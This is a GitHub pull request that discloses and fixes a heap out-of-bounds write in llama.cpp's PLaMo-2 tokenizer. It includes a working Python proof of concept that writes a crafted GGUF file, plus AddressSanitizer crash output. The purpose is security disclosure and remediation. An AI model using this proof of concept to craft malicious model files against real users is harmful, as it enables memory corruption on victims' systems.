Skip to content

vocab : fix heap OOB write in PLaMo-2 <0xNN> byte-token parsing - #25969

Closed
g4nkd wants to merge 1 commit into
ggml-org:masterfrom
g4nkd:fix/plamo2-tokenizer-oob
Closed

g4nkd wants to merge 1 commit into
ggml-org:masterfrom
g4nkd:fix/plamo2-tokenizer-oob

Conversation

@g4nkd

@g4nkd g4nkd commented Jul 21, 2026

Copy link
Copy Markdown

Summary

Security fix — heap out-of-bounds write in the PLaMo-2 tokenizer, reachable
just by loading a crafted GGUF model (no inference, no user input).

llm_tokenizer_plamo2::build() (src/llama-vocab.cpp) maps <0xNN> byte tokens
into a fixed 256-entry bytes_ array, using the two hex chars as the index with
no range check:

std::string hex_str = entry.text.substr(3, 2);
int byte_val = std::stoi(hex_str, nullptr, 16);          // "-1".."-f" => -1..-15
bytes_[byte_val] = static_cast<llama_token>(token_id);   // bytes_ is std::vector<int32>(256)

A byte-typed token (token_type = 6) whose text is "<0x-1>" makes std::stoi
return -1, so bytes_[-1] = token_id writes 4 bytes before the buffer. Both
the offset (-4 .. -60, via "<0x-1>" .. "<0x-f>") and the written 32-bit value
(token_id — the token's index in the vocab) are attacker-controlled. A non-hex
NN (e.g. "<0xZZ>") additionally makes std::stoi throw uncaught.

Impact

Attacker-controlled heap OOB write while loading an untrusted .gguf — a routine
operation (models fetched from public registries, passed to llama-server, etc.).
Same threat model as GHSA-8wwf-w4qm-gpqr / CVE-2025-49847 (vocabulary-loading
overflow). I believe this warrants a security advisory / CVE.

Reproduce

poc.py (stdlib only) writes a 297-byte model; load it with a sanitizer build:

python3 poc.py
./llama-cli -m poc.gguf -p x          # cmake ... -DCMAKE_CXX_FLAGS=-fsanitize=address
==ERROR: AddressSanitizer: heap-buffer-overflow   WRITE of size 4
    #0 llm_tokenizer_plamo2::build(...)             src/llama-vocab.cpp:1368
    #1 llm_tokenizer_plamo2::llm_tokenizer_plamo2   src/llama-vocab.cpp:1344
    #4 llama_vocab::impl::init_tokenizer(...)        src/llama-vocab.cpp:3115
    #5 llama_vocab::impl::load(...)                  src/llama-vocab.cpp:2466
    #7 llama_model_base::load_vocab(...)             src/llama-model.cpp:1239
    ...
0x...327c is located 4 bytes before 1024-byte region   (bytes_, allocated at src/llama-vocab.cpp:1350)
SUMMARY: AddressSanitizer: heap-buffer-overflow src/llama-vocab.cpp:1368

After this fix the same file is rejected cleanly (Byte token for <0x0> is not set),
no OOB.

poc.py
import struct

# builds a gguf that triggers the plamo2 tokenizer heap overflow (bytes_[-1]) at load time
# run: python3 poc.py && ./llama-cli -m poc.gguf -p x     # build llama.cpp with -fsanitize=address

def s(x):
    x = x.encode() if isinstance(x, str) else x
    return struct.pack("<Q", len(x)) + x

def arr(key, etype, fmt, vals):
    b = s(key) + struct.pack("<IIQ", 9, etype, len(vals))   # 9 = array
    for v in vals:
        b += s(v) if etype == 8 else struct.pack(fmt, v)
    return b

kv  = s("general.architecture") + struct.pack("<I", 8) + s("llama")
kv += s("tokenizer.ggml.model")  + struct.pack("<I", 8) + s("plamo2")
kv += arr("tokenizer.ggml.tokens",     8, None, ["<unk>", "<0x-1>"])   # "<0x-1>" -> stoi -> -1
kv += arr("tokenizer.ggml.token_type", 5, "<i", [2, 6])                # 6 = BYTE
kv += arr("tokenizer.ggml.scores",     6, "<f", [0.0, 0.0])

open("poc.gguf", "wb").write(b"GGUF" + struct.pack("<IQQ", 3, 0, 5) + kv)   # magic, ver=3, 0 tensors, 5 kv
print("poc.gguf written")

Fix

Only index bytes_ when NN parses to a value in [0,255], and swallow
std::stoi exceptions (this commit).


AI-assisted discovery and PoC; reproduced, verified and authored by me.

llm_tokenizer_plamo2::build() parsed the two hex chars of a <0xNN> byte
token with std::stoi() and indexed the 256-entry bytes_ array with the
result without any range check. A byte-typed token with text "<0x-1>"
makes std::stoi return -1, so bytes_[-1] = token_id is a heap out-of-bounds
write (attacker-controlled offset and value) reachable by loading a crafted
GGUF. A non-hex NN additionally made std::stoi throw uncaught.

Validate that the parsed value is in [0,255] (and handle std::stoi
exceptions) before indexing bytes_.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
@g4nkd
g4nkd requested a review from CISC as a code owner July 21, 2026 17:14
@ggml-gh-bot

ggml-gh-bot Bot commented Jul 21, 2026

Copy link
Copy Markdown

Hi @g4nkd, thanks for your contribution!

Per our contribution guidelines, the automated PR checker found the following issue(s) that need your attention:

  • PR Template not respected: Please respect the template when creating a new pull request. Make sure to fill out all required sections.

  • AI-generated content: This project does not accept PRs, descriptions or commit messages that are fully or predominantly AI-generated. If you have used AI to assist you in writing code, please make sure to disclose that explicitly.


Please note that maintainers reserve the right to make final decisions on PRs. If you believe there is a mistake, please comment below.

@CISC

CISC commented Aug 4, 2026

Copy link
Copy Markdown
Member

Thank you for the report.

@CISC CISC closed this Aug 4, 2026
@g4nkd

g4nkd commented Aug 4, 2026

Copy link
Copy Markdown
Author

Hi, thanks for fixing the issue. Since this is an attacker-controlled heap out-of-bounds write triggered by loading a crafted GGUF model, could this be assigned a CVE?

@CISC

CISC commented Aug 4, 2026

Copy link
Copy Markdown
Member

Hi, thanks for fixing the issue. Since this is an attacker-controlled heap out-of-bounds write triggered by loading a crafted GGUF model, could this be assigned a CVE?

Sorry, no, see the top notice in our security policy, we don't have the capacity to handle that.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants